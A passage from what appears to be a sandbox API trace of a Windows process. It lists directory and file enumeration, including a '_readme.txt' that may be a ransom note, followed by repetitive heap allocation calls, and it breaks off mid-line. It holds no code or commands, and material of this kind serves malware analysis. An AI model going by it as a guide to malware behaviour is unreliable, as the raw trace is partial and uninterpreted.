ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.299] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.299] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.299] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0122.299] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0122.299] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0122.300] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0122.300] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0122.300] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.300] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.300] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.300] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.306] RtlAllocateHeap 